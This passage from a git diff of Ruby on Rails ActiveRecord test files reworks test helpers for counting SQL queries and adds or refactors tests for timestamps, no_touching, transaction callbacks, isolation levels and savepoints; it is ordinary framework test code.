-      assert_match(/not supported/, message)
-    end
-  end
-
-  class SqlserverStructureDumpTest < ActiveRecord::TestCase
-    include SqlserverSetupper
-
-    def test_structure_dump
-      filename = "sqlserver.sql"
-      Kernel.expects(:system).with("smoscript -s localhost -d #{@database} -u username -p password -f #{filename} -A -U")
-
-      ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
-    end
-  end
-
-  class SqlserverStructureLoadTest < ActiveRecord::TestCase
-    include SqlserverSetupper
-
-    def test_structure_load
-      filename = "sqlserver.sql"
-      Kernel.expects(:system).with("sqlcmd -S localhost -d #{@database} -U username -P password -i #{filename}")
-
-      ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
-    end
-  end
-end
diff --git a/activerecord/test/cases/test_case.rb b/activerecord/test/cases/test_case.rb
index f3f7054..cbf6ea3 100644
--- a/activerecord/test/cases/test_case.rb
+++ b/activerecord/test/cases/test_case.rb
@@ -1,9 +1,114 @@
-ActiveSupport::Deprecation.silence do
-  require 'active_record/test_case'
-end
+require 'active_support/test_case'
+
+module ActiveRecord
+  # = Active Record Test Case
+  #
+  # Defines some test assertions to test against SQL queries.
+  class TestCase < ActiveSupport::TestCase #:nodoc:
+    def teardown
+      SQLCounter.clear_log
+    end
+
+    def assert_date_from_db(expected, actual, message = nil)
+      # SybaseAdapter doesn't have a separate column type just for dates,
+      # so the time is in the string and incorrectly formatted
+      if current_adapter?(:SybaseAdapter)
+        assert_equal expected.to_s, actual.to_date.to_s, message
+      else
+        assert_equal expected.to_s, actual.to_s, message
+      end
+    end
+
+    def capture_sql
+      SQLCounter.clear_log
+      yield
+      SQLCounter.log_all.dup
+    end
+
+    def assert_sql(*patterns_to_match)
+      SQLCounter.clear_log
+      yield
+      SQLCounter.log_all
+    ensure
+      failed_patterns = []
+      patterns_to_match.each do |pattern|
+        failed_patterns << pattern unless SQLCounter.log_all.any?{ |sql| pattern === sql }
+      end
+      assert failed_patterns.empty?, "Query pattern(s) #{failed_patterns.map{ |p| p.inspect }.join(', ')} not found.#{SQLCounter.log.size == 0 ? '' : "\nQueries:\n#{SQLCounter.log.join("\n")}"}"
+    end
+
+    def assert_queries(num = 1, options = {})
+      ignore_none = options.fetch(:ignore_none) { num == :any }
+      SQLCounter.clear_log
+      x = yield
+      the_log = ignore_none ? SQLCounter.log_all : SQLCounter.log
+      if num == :any
+        assert_operator the_log.size, :>=, 1, "1 or more queries expected, but none were executed."
+      else
+        mesg = "#{the_log.size} instead of #{num} queries were executed.#{the_log.size == 0 ? '' : "\nQueries:\n#{the_log.join("\n")}"}"
+        assert_equal num, the_log.size, mesg
+      end
+      x
+    end
 
-ActiveRecord::TestCase.class_eval do
-  def sqlite3? connection
-    connection.class.name.split('::').last == "SQLite3Adapter"
+    def assert_no_queries(options = {}, &block)
+      options.reverse_merge! ignore_none: true
+      assert_queries(0, options, &block)
+    end
+
+    def assert_column(model, column_name, msg=nil)
+      assert has_column?(model, column_name), msg
+    end
+
+    def assert_no_column(model, column_name, msg=nil)
+      assert_not has_column?(model, column_name), msg
+    end
+
+    def has_column?(model, column_name)
+      model.reset_column_information
+      model.column_names.include?(column_name.to_s)
+    end
   end
+
+  class SQLCounter
+    class << self
+      attr_accessor :ignored_sql, :log, :log_all
+      def clear_log; self.log = []; self.log_all = []; end
+    end
+
+    self.clear_log
+
+    self.ignored_sql = [/^PRAGMA/, /^SELECT currval/, /^SELECT CAST/, /^SELECT @@IDENTITY/, /^SELECT @@ROWCOUNT/, /^SAVEPOINT/, /^ROLLBACK TO SAVEPOINT/, /^RELEASE SAVEPOINT/, /^SHOW max_identifier_length/, /^BEGIN/, /^COMMIT/]
+
+    # FIXME: this needs to be refactored so specific database can add their own
+    # ignored SQL, or better yet, use a different notification for the queries
+    # instead examining the SQL content.
+    oracle_ignored     = [/^select .*nextval/i, /^SAVEPOINT/, /^ROLLBACK TO/, /^\s*select .* from all_triggers/im, /^\s*select .* from all_constraints/im, /^\s*select .* from all_tab_cols/im]
+    mysql_ignored      = [/^SHOW TABLES/i, /^SHOW FULL FIELDS/, /^SHOW CREATE TABLE /i]
+    postgresql_ignored = [/^\s*select\b.*\bfrom\b.*pg_namespace\b/im, /^\s*select\b.*\battname\b.*\bfrom\b.*\bpg_attribute\b/im, /^SHOW search_path/i]
+    sqlite3_ignored =    [/^\s*SELECT name\b.*\bFROM sqlite_master/im]
+
+    [oracle_ignored, mysql_ignored, postgresql_ignored, sqlite3_ignored].each do |db_ignored_sql|
+      ignored_sql.concat db_ignored_sql
+    end
+
+    attr_reader :ignore
+
+    def initialize(ignore = Regexp.union(self.class.ignored_sql))
+      @ignore = ignore
+    end
+
+    def call(name, start, finish, message_id, values)
+      sql = values[:sql]
+
+      # FIXME: this seems bad. we should probably have a better way to indicate
+      # the query was cached
+      return if 'CACHE' == values[:name]
+
+      self.class.log_all << sql
+      self.class.log << sql unless ignore =~ sql
+    end
+  end
+
+  ActiveSupport::Notifications.subscribe('sql.active_record', SQLCounter.new)
 end
diff --git a/activerecord/test/cases/timestamp_test.rb b/activerecord/test/cases/timestamp_test.rb
index ff1b015..a3bab9f 100644
--- a/activerecord/test/cases/timestamp_test.rb
+++ b/activerecord/test/cases/timestamp_test.rb
@@ -11,6 +11,7 @@ class TimestampTest < ActiveRecord::TestCase
 
   def setup
     @developer = Developer.first
+    @owner = Owner.first
     @developer.update_columns(updated_at: Time.now.prev_month)
     @previously_updated_at = @developer.updated_at
   end
@@ -92,6 +93,72 @@ class TimestampTest < ActiveRecord::TestCase
     assert_nothing_raised { Car.first.touch }
   end
 
+  def test_touching_a_no_touching_object
+    Developer.no_touching do
+      assert @developer.no_touching?
+      assert !@owner.no_touching?
+      @developer.touch
+    end
+
+    assert !@developer.no_touching?
+    assert !@owner.no_touching?
+    assert_equal @previously_updated_at, @developer.updated_at
+  end
+
+  def test_touching_related_objects
+    @owner = Owner.first
+    @previously_updated_at = @owner.updated_at
+
+    Owner.no_touching do
+      @owner.pets.first.touch
+    end
+
+    assert_equal @previously_updated_at, @owner.updated_at
+  end
+
+  def test_global_no_touching
+    ActiveRecord::Base.no_touching do
+      assert @developer.no_touching?
+      assert @owner.no_touching?
+      @developer.touch
+    end
+
+    assert !@developer.no_touching?
+    assert !@owner.no_touching?
+    assert_equal @previously_updated_at, @developer.updated_at
+  end
+
+  def test_no_touching_threadsafe
+    Thread.new do
+      Developer.no_touching do
+        assert @developer.no_touching?
+
+        sleep(1)
+      end
+    end
+
+    assert !@developer.no_touching?
+  end
+
+  def test_no_touching_with_callbacks
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "developers"
+
+      attr_accessor :after_touch_called
+
+      after_touch do |user|
+        user.after_touch_called = true
+      end
+    end
+
+    developer = klass.first
+
+    klass.no_touching do
+      developer.touch
+      assert_not developer.after_touch_called
+    end
+  end
+
   def test_saving_a_record_with_a_belongs_to_that_specifies_touching_the_parent_should_update_the_parent_updated_at
     pet   = Pet.first
     owner = pet.owner
@@ -224,36 +291,62 @@ class TimestampTest < ActiveRecord::TestCase
     assert_not_equal time, old_pet.updated_at
   end
 
-  def test_changing_parent_of_a_record_touches_both_new_and_old_polymorphic_parent_record
-    klass = Class.new(ActiveRecord::Base) do
-      def self.name; 'Toy'; end
+  def test_changing_parent_of_a_record_touches_both_new_and_old_polymorphic_parent_record_changes_within_same_class
+    car_class = Class.new(ActiveRecord::Base) do
+      def self.name; 'Car'; end
     end
 
-    wheel_klass = Class.new(ActiveRecord::Base) do
+    wheel_class = Class.new(ActiveRecord::Base) do
       def self.name; 'Wheel'; end
       belongs_to :wheelable, :polymorphic => true, :touch => true
     end
 
-    toy1 = klass.find(1)
-    toy2 = klass.find(2)
+    car1 = car_class.find(1)
+    car2 = car_class.find(2)
 
-    wheel = wheel_klass.new
-    wheel.wheelable = toy1
-    wheel.save!
+    wheel = wheel_class.create!(wheelable: car1)
 
     time = 3.days.ago.at_beginning_of_hour
 
-    toy1.update_columns(updated_at: time)
-    toy2.update_columns(updated_at: time)
+    car1.update_columns(updated_at: time)
+    car2.update_columns(updated_at: time)
 
-    wheel.wheelable = toy2
+    wheel.wheelable = car2
     wheel.save!
 
-    toy1.reload
-    toy2.reload
+    assert_not_equal time, car1.reload.updated_at
+    assert_not_equal time, car2.reload.updated_at
+  end
+
+  def test_changing_parent_of_a_record_touches_both_new_and_old_polymorphic_parent_record_changes_with_other_class
+    car_class = Class.new(ActiveRecord::Base) do
+      def self.name; 'Car'; end
+    end
+
+    toy_class = Class.new(ActiveRecord::Base) do
+      def self.name; 'Toy'; end
+    end
+
+    wheel_class = Class.new(ActiveRecord::Base) do
+      def self.name; 'Wheel'; end
+      belongs_to :wheelable, :polymorphic => true, :touch => true
+    end
+
+    car = car_class.find(1)
+    toy = toy_class.find(3)
+
+    wheel = wheel_class.create!(wheelable: car)
+
+    time = 3.days.ago.at_beginning_of_hour
+
+    car.update_columns(updated_at: time)
+    toy.update_columns(updated_at: time)
 
-    assert_not_equal time, toy1.updated_at
-    assert_not_equal time, toy2.updated_at
+    wheel.wheelable = toy
+    wheel.save!
+
+    assert_not_equal time, car.reload.updated_at
+    assert_not_equal time, toy.reload.updated_at
   end
 
   def test_clearing_association_touches_the_old_record
@@ -276,33 +369,46 @@ class TimestampTest < ActiveRecord::TestCase
     assert_not_equal time, pet.updated_at
   end
 
+  def test_timestamp_column_values_are_present_in_the_callbacks
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = 'people'
+
+      before_create do
+        self.born_at = self.created_at
+      end
+    end
+
+    person = klass.create first_name: 'David'
+    assert_not_equal person.born_at, nil
+  end
+
   def test_timestamp_attributes_for_create
     toy = Toy.first
-    assert_equal toy.send(:timestamp_attributes_for_create), [:created_at, :created_on]
+    assert_equal [:created_at, :created_on], toy.send(:timestamp_attributes_for_create)
   end
 
   def test_timestamp_attributes_for_update
     toy = Toy.first
-    assert_equal toy.send(:timestamp_attributes_for_update), [:updated_at, :updated_on]
+    assert_equal [:updated_at, :updated_on], toy.send(:timestamp_attributes_for_update)
   end
 
   def test_all_timestamp_attributes
     toy = Toy.first
-    assert_equal toy.send(:all_timestamp_attributes), [:created_at, :created_on, :updated_at, :updated_on]
+    assert_equal [:created_at, :created_on, :updated_at, :updated_on], toy.send(:all_timestamp_attributes)
   end
 
   def test_timestamp_attributes_for_create_in_model
     toy = Toy.first
-    assert_equal toy.send(:timestamp_attributes_for_create_in_model), [:created_at]
+    assert_equal [:created_at], toy.send(:timestamp_attributes_for_create_in_model)
   end
 
   def test_timestamp_attributes_for_update_in_model
     toy = Toy.first
-    assert_equal toy.send(:timestamp_attributes_for_update_in_model), [:updated_at]
+    assert_equal [:updated_at], toy.send(:timestamp_attributes_for_update_in_model)
   end
 
   def test_all_timestamp_attributes_in_model
     toy = Toy.first
-    assert_equal toy.send(:all_timestamp_attributes_in_model), [:created_at, :updated_at]
+    assert_equal [:created_at, :updated_at], toy.send(:all_timestamp_attributes_in_model)
   end
 end
diff --git a/activerecord/test/cases/transaction_callbacks_test.rb b/activerecord/test/cases/transaction_callbacks_test.rb
index 9485de8..3d64ecb 100644
--- a/activerecord/test/cases/transaction_callbacks_test.rb
+++ b/activerecord/test/cases/transaction_callbacks_test.rb
@@ -1,9 +1,11 @@
 require "cases/helper"
+require 'models/owner'
+require 'models/pet'
 require 'models/topic'
 
 class TransactionCallbacksTest < ActiveRecord::TestCase
   self.use_transactional_fixtures = false
-  fixtures :topics
+  fixtures :topics, :owners, :pets
 
   class ReplyWithCallbacks < ActiveRecord::Base
     self.table_name = :topics
@@ -14,6 +16,11 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
 
     after_commit :do_after_commit, on: :create
 
+    attr_accessor :save_on_after_create
+    after_create do
+      self.save! if save_on_after_create
+    end
+
     def history
       @history ||= []
     end
@@ -28,14 +35,14 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
 
     has_many :replies, class_name: "ReplyWithCallbacks", foreign_key: "parent_id"
 
-    after_commit{|record| record.send(:do_after_commit, nil)}
-    after_commit(:on => :create){|record| record.send(:do_after_commit, :create)}
-    after_commit(:on => :update){|record| record.send(:do_after_commit, :update)}
-    after_commit(:on => :destroy){|record| record.send(:do_after_commit, :destroy)}
-    after_rollback{|record| record.send(:do_after_rollback, nil)}
-    after_rollback(:on => :create){|record| record.send(:do_after_rollback, :create)}
-    after_rollback(:on => :update){|record| record.send(:do_after_rollback, :update)}
-    after_rollback(:on => :destroy){|record| record.send(:do_after_rollback, :destroy)}
+    after_commit { |record| record.do_after_commit(nil) }
+    after_commit(on: :create) { |record| record.do_after_commit(:create) }
+    after_commit(on: :update) { |record| record.do_after_commit(:update) }
+    after_commit(on: :destroy) { |record| record.do_after_commit(:destroy) }
+    after_rollback { |record| record.do_after_rollback(nil) }
+    after_rollback(on: :create) { |record| record.do_after_rollback(:create) }
+    after_rollback(on: :update) { |record| record.do_after_rollback(:update) }
+    after_rollback(on: :destroy) { |record| record.do_after_rollback(:destroy) }
 
     def history
       @history ||= []
@@ -65,7 +72,7 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
   end
 
   def setup
-    @first, @second = TopicWithCallbacks.find(1, 3).sort_by { |t| t.id }
+    @first = TopicWithCallbacks.find(1)
   end
 
   def test_call_after_commit_after_transaction_commits
@@ -77,40 +84,25 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
   end
 
   def test_only_call_after_commit_on_update_after_transaction_commits_for_existing_record
-    @first.after_commit_block(:create){|r| r.history << :commit_on_create}
-    @first.after_commit_block(:update){|r| r.history << :commit_on_update}
-    @first.after_commit_block(:destroy){|r| r.history << :commit_on_destroy}
-    @first.after_rollback_block(:create){|r| r.history << :rollback_on_create}
-    @first.after_rollback_block(:update){|r| r.history << :rollback_on_update}
-    @first.after_rollback_block(:destroy){|r| r.history << :rollback_on_destroy}
+    add_transaction_execution_blocks @first
 
     @first.save!
     assert_equal [:commit_on_update], @first.history
   end
 
   def test_only_call_after_commit_on_destroy_after_transaction_commits_for_destroyed_record
-    @first.after_commit_block(:create){|r| r.history << :commit_on_create}
-    @first.after_commit_block(:update){|r| r.history << :commit_on_update}
-    @first.after_commit_block(:destroy){|r| r.history << :commit_on_destroy}
-    @first.after_rollback_block(:create){|r| r.history << :rollback_on_create}
-    @first.after_rollback_block(:update){|r| r.history << :rollback_on_update}
-    @first.after_rollback_block(:destroy){|r| r.history << :rollback_on_destroy}
+    add_transaction_execution_blocks @first
 
     @first.destroy
     assert_equal [:commit_on_destroy], @first.history
   end
 
   def test_only_call_after_commit_on_create_after_transaction_commits_for_new_record
-    @new_record = TopicWithCallbacks.new(:title => "New topic", :written_on => Date.today)
-    @new_record.after_commit_block(:create){|r| r.history << :commit_on_create}
-    @new_record.after_commit_block(:update){|r| r.history << :commit_on_update}
-    @new_record.after_commit_block(:destroy){|r| r.history << :commit_on_destroy}
-    @new_record.after_rollback_block(:create){|r| r.history << :rollback_on_create}
-    @new_record.after_rollback_block(:update){|r| r.history << :rollback_on_update}
-    @new_record.after_rollback_block(:destroy){|r| r.history << :rollback_on_destroy}
-
-    @new_record.save!
-    assert_equal [:commit_on_create], @new_record.history
+    new_record = TopicWithCallbacks.new(:title => "New topic", :written_on => Date.today)
+    add_transaction_execution_blocks new_record
+
+    new_record.save!
+    assert_equal [:commit_on_create], new_record.history
   end
 
   def test_only_call_after_commit_on_create_after_transaction_commits_for_new_record_if_create_succeeds_creating_through_association
@@ -120,6 +112,23 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
     assert_equal [], reply.history
   end
 
+  def test_only_call_after_commit_on_create_and_doesnt_leaky
+    r = ReplyWithCallbacks.new(content: 'foo')
+    r.save_on_after_create = true
+    r.save!
+    r.content = 'bar'
+    r.save!
+    r.save!
+    assert_equal [:commit_on_create], r.history
+  end
+
+  def test_only_call_after_commit_on_update_after_transaction_commits_for_existing_record_on_touch
+    add_transaction_execution_blocks @first
+
+    @first.touch
+    assert_equal [:commit_on_update], @first.history
+  end
+
   def test_call_after_rollback_after_transaction_rollsback
     @first.after_commit_block{|r| r.history << :after_commit}
     @first.after_rollback_block{|r| r.history << :after_rollback}
@@ -133,12 +142,7 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
   end
 
   def test_only_call_after_rollback_on_update_after_transaction_rollsback_for_existing_record
-    @first.after_commit_block(:create){|r| r.history << :commit_on_create}
-    @first.after_commit_block(:update){|r| r.history << :commit_on_update}
-    @first.after_commit_block(:destroy){|r| r.history << :commit_on_destroy}
-    @first.after_rollback_block(:create){|r| r.history << :rollback_on_create}
-    @first.after_rollback_block(:update){|r| r.history << :rollback_on_update}
-    @first.after_rollback_block(:destroy){|r| r.history << :rollback_on_destroy}
+    add_transaction_execution_blocks @first
 
     Topic.transaction do
       @first.save!
@@ -148,13 +152,19 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
     assert_equal [:rollback_on_update], @first.history
   end
 
+  def test_only_call_after_rollback_on_update_after_transaction_rollsback_for_existing_record_on_touch
+    add_transaction_execution_blocks @first
+
+    Topic.transaction do
+      @first.touch
+      raise ActiveRecord::Rollback
+    end
+
+    assert_equal [:rollback_on_update], @first.history
+  end
+
   def test_only_call_after_rollback_on_destroy_after_transaction_rollsback_for_destroyed_record
-    @first.after_commit_block(:create){|r| r.history << :commit_on_create}
-    @first.after_commit_block(:update){|r| r.history << :commit_on_update}
-    @first.after_commit_block(:destroy){|r| r.history << :commit_on_update}
-    @first.after_rollback_block(:create){|r| r.history << :rollback_on_create}
-    @first.after_rollback_block(:update){|r| r.history << :rollback_on_update}
-    @first.after_rollback_block(:destroy){|r| r.history << :rollback_on_destroy}
+    add_transaction_execution_blocks @first
 
     Topic.transaction do
       @first.destroy
@@ -165,26 +175,21 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
   end
 
   def test_only_call_after_rollback_on_create_after_transaction_rollsback_for_new_record
-    @new_record = TopicWithCallbacks.new(:title => "New topic", :written_on => Date.today)
-    @new_record.after_commit_block(:create){|r| r.history << :commit_on_create}
-    @new_record.after_commit_block(:update){|r| r.history << :commit_on_update}
-    @new_record.after_commit_block(:destroy){|r| r.history << :commit_on_destroy}
-    @new_record.after_rollback_block(:create){|r| r.history << :rollback_on_create}
-    @new_record.after_rollback_block(:update){|r| r.history << :rollback_on_update}
-    @new_record.after_rollback_block(:destroy){|r| r.history << :rollback_on_destroy}
+    new_record = TopicWithCallbacks.new(:title => "New topic", :written_on => Date.today)
+    add_transaction_execution_blocks new_record
 
     Topic.transaction do
-      @new_record.save!
+      new_record.save!
       raise ActiveRecord::Rollback
     end
 
-    assert_equal [:rollback_on_create], @new_record.history
+    assert_equal [:rollback_on_create], new_record.history
   end
 
   def test_call_after_rollback_when_commit_fails
-    @first.class.connection.class.send(:alias_method, :real_method_commit_db_transaction, :commit_db_transaction)
+    @first.class.connection.singleton_class.send(:alias_method, :real_method_commit_db_transaction, :commit_db_transaction)
     begin
-      @first.class.connection.class.class_eval do
+      @first.class.connection.singleton_class.class_eval do
         def commit_db_transaction; raise "boom!"; end
       end
 
@@ -194,8 +199,8 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
       assert !@first.save rescue nil
       assert_equal [:after_rollback], @first.history
     ensure
-      @first.class.connection.class.send(:remove_method, :commit_db_transaction)
-      @first.class.connection.class.send(:alias_method, :commit_db_transaction, :real_method_commit_db_transaction)
+      @first.class.connection.singleton_class.send(:remove_method, :commit_db_transaction)
+      @first.class.connection.singleton_class.send(:alias_method, :commit_db_transaction, :real_method_commit_db_transaction)
     end
   end
 
@@ -205,23 +210,24 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
     @first.after_rollback_block{|r| r.rollbacks(1)}
     @first.after_commit_block{|r| r.commits(1)}
 
-    def @second.rollbacks(i=0); @rollbacks ||= 0; @rollbacks += i if i; end
-    def @second.commits(i=0); @commits ||= 0; @commits += i if i; end
-    @second.after_rollback_block{|r| r.rollbacks(1)}
-    @second.after_commit_block{|r| r.commits(1)}
+    second = TopicWithCallbacks.find(3)
+    def second.rollbacks(i=0); @rollbacks ||= 0; @rollbacks += i if i; end
+    def second.commits(i=0); @commits ||= 0; @commits += i if i; end
+    second.after_rollback_block{|r| r.rollbacks(1)}
+    second.after_commit_block{|r| r.commits(1)}
 
     Topic.transaction do
       @first.save!
       Topic.transaction(:requires_new => true) do
-        @second.save!
+        second.save!
         raise ActiveRecord::Rollback
       end
     end
 
     assert_equal 1, @first.commits
     assert_equal 0, @first.rollbacks
-    assert_equal 0, @second.commits
-    assert_equal 1, @second.rollbacks
+    assert_equal 0, second.commits
+    assert_equal 1, second.rollbacks
   end
 
   def test_only_call_after_rollback_on_records_rolled_back_to_a_savepoint_when_release_savepoint_fails
@@ -252,33 +258,61 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
     def @first.last_after_transaction_error; @last_transaction_error; end
     @first.after_commit_block{|r| r.last_after_transaction_error = :commit; raise "fail!";}
     @first.after_rollback_block{|r| r.last_after_transaction_error = :rollback; raise "fail!";}
-    @second.after_commit_block{|r| r.history << :after_commit}
-    @second.after_rollback_block{|r| r.history << :after_rollback}
+
+    second = TopicWithCallbacks.find(3)
+    second.after_commit_block{|r| r.history << :after_commit}
+    second.after_rollback_block{|r| r.history << :after_rollback}
 
     Topic.transaction do
       @first.save!
-      @second.save!
+      second.save!
     end
     assert_equal :commit, @first.last_after_transaction_error
-    assert_equal [:after_commit], @second.history
+    assert_equal [:after_commit], second.history
 
-    @second.history.clear
+    second.history.clear
     Topic.transaction do
       @first.save!
-      @second.save!
+      second.save!
       raise ActiveRecord::Rollback
     end
     assert_equal :rollback, @first.last_after_transaction_error
-    assert_equal [:after_rollback], @second.history
+    assert_equal [:after_rollback], second.history
   end
 
   def test_after_rollback_callbacks_should_validate_on_condition
-    assert_raise(ArgumentError) { Topic.send(:after_rollback, :on => :save) }
+    assert_raise(ArgumentError) { Topic.after_rollback(on: :save) }
   end
 
   def test_after_commit_callbacks_should_validate_on_condition
-    assert_raise(ArgumentError) { Topic.send(:after_commit, :on => :save) }
+    assert_raise(ArgumentError) { Topic.after_commit(on: :save) }
   end
+
+  def test_saving_a_record_with_a_belongs_to_that_specifies_touching_the_parent_should_call_callbacks_on_the_parent_object
+    pet   = Pet.first
+    owner = pet.owner
+    flag = false
+
+    owner.on_after_commit do
+      flag = true
+    end
+
+    pet.name = "Fluffy the Third"
+    pet.save
+
+    assert flag
+  end
+
+  private
+
+    def add_transaction_execution_blocks(record)
+      record.after_commit_block(:create) { |r| r.history << :commit_on_create }
+      record.after_commit_block(:update) { |r| r.history << :commit_on_update }
+      record.after_commit_block(:destroy) { |r| r.history << :commit_on_destroy }
+      record.after_rollback_block(:create) { |r| r.history << :rollback_on_create }
+      record.after_rollback_block(:update) { |r| r.history << :rollback_on_update }
+      record.after_rollback_block(:destroy) { |r| r.history << :rollback_on_destroy }
+    end
 end
 
 class CallbacksOnMultipleActionsTest < ActiveRecord::TestCase
diff --git a/activerecord/test/cases/transaction_isolation_test.rb b/activerecord/test/cases/transaction_isolation_test.rb
index 4f1cb99..f89c265 100644
--- a/activerecord/test/cases/transaction_isolation_test.rb
+++ b/activerecord/test/cases/transaction_isolation_test.rb
@@ -1,113 +1,105 @@
 require 'cases/helper'
 
-class TransactionIsolationUnsupportedTest < ActiveRecord::TestCase
-  self.use_transactional_fixtures = false
+unless ActiveRecord::Base.connection.supports_transaction_isolation?
+  class TransactionIsolationUnsupportedTest < ActiveRecord::TestCase
+    self.use_transactional_fixtures = false
 
-  class Tag < ActiveRecord::Base
-  end
-
-  setup do
-    if ActiveRecord::Base.connection.supports_transaction_isolation?
-      skip "database supports transaction isolation; test is irrelevant"
+    class Tag < ActiveRecord::Base
     end
-  end
 
-  test "setting the isolation level raises an error" do
-    assert_raises(ActiveRecord::TransactionIsolationError) do
-      Tag.transaction(isolation: :serializable) { }
+    test "setting the isolation level raises an error" do
+      assert_raises(ActiveRecord::TransactionIsolationError) do
+        Tag.transaction(isolation: :serializable) { }
+      end
     end
   end
 end
 
-class TransactionIsolationTest < ActiveRecord::TestCase
-  self.use_transactional_fixtures = false
-
-  class Tag < ActiveRecord::Base
-    self.table_name = 'tags'
-  end
-
-  class Tag2 < ActiveRecord::Base
-    self.table_name = 'tags'
-  end
+if ActiveRecord::Base.connection.supports_transaction_isolation?
+  class TransactionIsolationTest < ActiveRecord::TestCase
+    self.use_transactional_fixtures = false
 
-  setup do
-    unless ActiveRecord::Base.connection.supports_transaction_isolation?
-      skip "database does not support setting transaction isolation"
+    class Tag < ActiveRecord::Base
+      self.table_name = 'tags'
     end
 
-    Tag.establish_connection 'arunit'
-    Tag2.establish_connection 'arunit'
-    Tag.destroy_all
-  end
-
-  # It is impossible to properly test read uncommitted. The SQL standard only
-  # specifies what must not happen at a certain level, not what must happen. At
-  # the read uncommitted level, there is nothing that must not happen.
-  test "read uncommitted" do
-    unless ActiveRecord::Base.connection.transaction_isolation_levels.include?(:read_uncommitted)
-      skip "database does not support read uncommitted isolation level"
+    class Tag2 < ActiveRecord::Base
+      self.table_name = 'tags'
     end
-    Tag.transaction(isolation: :read_uncommitted) do
-      assert_equal 0, Tag.count
-      Tag2.create
-      assert_equal 1, Tag.count
+
+    setup do
+      Tag.establish_connection :arunit
+      Tag2.establish_connection :arunit
+      Tag.destroy_all
     end
-  end
 
-  # We are testing that a dirty read does not happen
-  test "read committed" do
-    Tag.transaction(isolation: :read_committed) do
-      assert_equal 0, Tag.count
+    # It is impossible to properly test read uncommitted. The SQL standard only
+    # specifies what must not happen at a certain level, not what must happen. At
+    # the read uncommitted level, there is nothing that must not happen.
+    if ActiveRecord::Base.connection.transaction_isolation_levels.include?(:read_uncommitted)
+      test "read uncommitted" do
+        Tag.transaction(isolation: :read_uncommitted) do
+          assert_equal 0, Tag.count
+          Tag2.create
+          assert_equal 1, Tag.count
+        end
+      end
+    end
 
-      Tag2.transaction do
-        Tag2.create
+    # We are testing that a dirty read does not happen
+    test "read committed" do
+      Tag.transaction(isolation: :read_committed) do
         assert_equal 0, Tag.count
+
+        Tag2.transaction do
+          Tag2.create
+          assert_equal 0, Tag.count
+        end
       end
+
+      assert_equal 1, Tag.count
     end
 
-    assert_equal 1, Tag.count
-  end
+    # We are testing that a nonrepeatable read does not happen
+    if ActiveRecord::Base.connection.transaction_isolation_levels.include?(:repeatable_read)
+      test "repeatable read" do
+        tag = Tag.create(name: 'jon')
 
-  # We are testing that a nonrepeatable read does not happen
-  test "repeatable read" do
-    unless ActiveRecord::Base.connection.transaction_isolation_levels.include?(:repeatable_read)
-      skip "database does not support repeatable read isolation level"
-    end
-    tag = Tag.create(name: 'jon')
+        Tag.transaction(isolation: :repeatable_read) do
+          tag.reload
+          Tag2.find(tag.id).update(name: 'emily')
 
-    Tag.transaction(isolation: :repeatable_read) do
-      tag.reload
-      Tag2.find(tag.id).update(name: 'emily')
+          tag.reload
+          assert_equal 'jon', tag.name
+        end
 
-      tag.reload
-      assert_equal 'jon', tag.name
+        tag.reload
+        assert_equal 'emily', tag.name
+      end
     end
 
-    tag.reload
-    assert_equal 'emily', tag.name
-  end
-
-  # We are only testing that there are no errors because it's too hard to
-  # test serializable. Databases behave differently to enforce the serializability
-  # constraint.
-  test "serializable" do
-    Tag.transaction(isolation: :serializable) do
-      Tag.create
+    # We are only testing that there are no errors because it's too hard to
+    # test serializable. Databases behave differently to enforce the serializability
+    # constraint.
+    test "serializable" do
+      Tag.transaction(isolation: :serializable) do
+        Tag.create
+      end
     end
-  end
 
-  test "setting isolation when joining a transaction raises an error" do
-    Tag.transaction do
-      assert_raises(ActiveRecord::TransactionIsolationError) do
-        Tag.transaction(isolation: :serializable) { }
+    test "setting isolation when joining a transaction raises an error" do
+      Tag.transaction do
+        assert_raises(ActiveRecord::TransactionIsolationError) do
+          Tag.transaction(isolation: :serializable) { }
+        end
       end
     end
-  end
 
-  test "setting isolation when starting a nested transaction raises error" do
-    Tag.transaction do
-      assert_raises(ActiveRecord::TransactionIsolationError) do
-        Tag.transaction(requires_new: true, isolation: :serializable) { }
+    test "setting isolation when starting a nested transaction raises error" do
+      Tag.transaction do
+        assert_raises(ActiveRecord::TransactionIsolationError) do
+          Tag.transaction(requires_new: true, isolation: :serializable) { }
+        end
       end
     end
   end
diff --git a/activerecord/test/cases/transactions_test.rb b/activerecord/test/cases/transactions_test.rb
index 6d66342..e6ed853 100644
--- a/activerecord/test/cases/transactions_test.rb
+++ b/activerecord/test/cases/transactions_test.rb
@@ -5,6 +5,7 @@ require 'models/developer'
 require 'models/book'
 require 'models/author'
 require 'models/post'
+require 'models/movie'
 
 class TransactionTest < ActiveRecord::TestCase
   self.use_transactional_fixtures = false
@@ -14,6 +15,11 @@ class TransactionTest < ActiveRecord::TestCase
     @first, @second = Topic.find(1, 2).sort_by { |t| t.id }
   end
 
+  def test_persisted_in_a_model_with_custom_primary_key_after_failed_save
+    movie = Movie.create
+    assert !movie.persisted?
+  end
+
   def test_raise_after_destroy
     assert_not @first.frozen?
 
@@ -117,6 +123,20 @@ class TransactionTest < ActiveRecord::TestCase
     assert !Topic.find(1).approved?
   end
 
+  def test_raising_exception_in_nested_transaction_restore_state_in_save
+    topic = Topic.new
+
+    def topic.after_save_for_transaction
+      raise 'Make the transaction rollback'
+    end
+
+    assert_raises(RuntimeError) do
+      Topic.transaction { topic.save }
+    end
+
+    assert topic.new_record?, "#{topic.inspect} should be new record"
+  end
+
   def test_update_should_rollback_on_failure
     author = Author.find(1)
     posts_count = author.posts.size
@@ -361,6 +381,36 @@ class TransactionTest < ActiveRecord::TestCase
     assert_equal "Three", @three
   end if Topic.connection.supports_savepoints?
 
+  def test_using_named_savepoints
+    Topic.transaction do
+      @first.approved  = true
